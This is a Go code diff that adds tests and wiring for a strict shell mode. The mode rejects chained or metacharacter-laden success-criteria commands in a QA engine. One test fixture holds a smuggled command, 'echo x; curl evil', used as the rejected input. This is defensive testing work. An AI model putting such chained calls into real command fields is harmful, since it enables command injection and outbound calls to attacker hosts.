b/internal/engine/criteria_db_test.go @@ -123,3 +123,79 @@ func TestEvaluate_SchemaChanged_NoDevDB(t *testing.T) { t.Errorf("expected 'devdb not provisioned' in detail, got: %s", results[0].Detail) } } + +// --- command_list + strict shell mode (WEAKNESSES.md P0-03) --- + +// TestEvaluate_MigrationSucceeds_CommandListRunsSequentially pins the +// command_list alternative: entries run in order, all must pass, and a +// failing entry reports which one failed. +func TestEvaluate_MigrationSucceeds_CommandListRunsSequentially(t *testing.T) { + workDir := setupVXDDB(t, "postgres://u:p@localhost/x") + c := engine.Criterion{ + Kind: engine.CriterionMigrationSucceeds, + CommandList: []string{"echo step-one > seq.txt", "echo step-two"}, + } + results := engine.EvaluateCriteriaWithMode([]engine.Criterion{c}, workDir, "", false) + if !results[0].Passed { + t.Fatalf("command_list should pass: %s", results[0].Detail) + } + // First entry ran (side effect exists) and second entry's output is the + // reported detail — i.e. they ran in order. + if _, err := os.Stat(filepath.Join(workDir, "seq.txt")); err != nil { + t.Error("first command_list entry did not run") + } + if !strings.Contains(results[0].Detail, "step-two") { + t.Errorf("detail should carry the last entry's output, got: %s", results[0].Detail) + } + + // A failing middle entry fails the criterion and names the entry. + c.CommandList = []string{"echo ok", "false", "echo never-reached"} + results = engine.EvaluateCriteriaWithMode([]engine.Criterion{c}, workDir, "", false) + if results[0].Passed { + t.Fatal("failing entry must fail the criterion") + } + if !strings.Contains(results[0].Detail, `"false"`) { + t.Errorf("detail should name the failing entry, got: %s", results[0].Detail) + } +} + +// TestEvaluate_MigrationSucceeds_StrictShellMode pins runtime strict-mode +// enforcement: chained commands are rejected before execution, command_list +// entries with metacharacters too, and command+command_list is ambiguous. +func TestEvaluate_MigrationSucceeds_StrictShellMode(t *testing.T) { + workDir := setupVXDDB(t, "postgres://u:p@localhost/x") + + chained := engine.Criterion{ + Kind: engine.CriterionMigrationSucceeds, + Command: "echo a && echo b", + } + results := engine.EvaluateCriteriaWithMode([]engine.Criterion{chained}, workDir, "", true) + if results[0].Passed || !strings.Contains(results[0].Detail, "rejected unsafe command pattern") { + t.Fatalf("strict mode must reject chained command, got: %+v", results[0]) + } + + // Same command passes in the default mode (backward compat). + results = engine.EvaluateCriteriaWithMode([]engine.Criterion{chained}, workDir, "", false) + if !results[0].Passed { + t.Fatalf("default mode must keep accepting chained commands: %s", results[0].Detail) + } + + poisonedList := engine.Criterion{ + Kind: engine.CriterionMigrationSucceeds, + CommandList: []string{"echo ok", "echo x; curl evil"}, + } + results = engine.EvaluateCriteriaWithMode([]engine.Criterion{poisonedList}, workDir, "", true) + if results[0].Passed { + t.Fatal("strict mode must reject a poisoned command_list entry") + } + + both := engine.Criterion{ + Kind: engine.CriterionMigrationSucceeds, + Command: "echo a", + CommandList: []string{"echo b"}, + } + results = engine.EvaluateCriteriaWithMode([]engine.Criterion{both}, workDir, "", false) + if results[0].Passed || !strings.Contains(results[0].Detail, "mutually exclusive") { + t.Fatalf("command + command_list must be rejected, got: %+v", results[0]) + } +} diff --git a/internal/engine/qa.go b/internal/engine/qa.go index 26d37b2..cb80e5e 100644 --- a/internal/engine/qa.go +++ b/internal/engine/qa.go @@ -73,6 +73,10 @@ type QAConfig struct { BuildCommand string TestCommand string SuccessCriteria []Criterion + // StrictShellCommands mirrors security.strict_shell_commands: command- + // bearing success criteria reject shell chaining/redirection + // metacharacters and must use command_list for multi-step work. + StrictShellCommands bool } // QA runs lint, build, and test commands against a worktree directory and @@ -121,7 +125,7 @@ func (q *QA) Run(ctx context.Context, storyID, worktreePath string) (QAResult, e agentOutput = string(data) } - criteriaResults := EvaluateCriteria(q.config.SuccessCriteria, worktreePath, agentOutput) + criteriaResults := EvaluateCriteriaWithMode(q.config.SuccessCriteria, worktreePath, agentOutput, q.config.StrictShellCommands) for _, cr := range criteriaResults { result.Checks = append(result.Checks, QACheckResult{ Name: fmt.Sprintf("criterion:%s", cr.Criterion.Kind),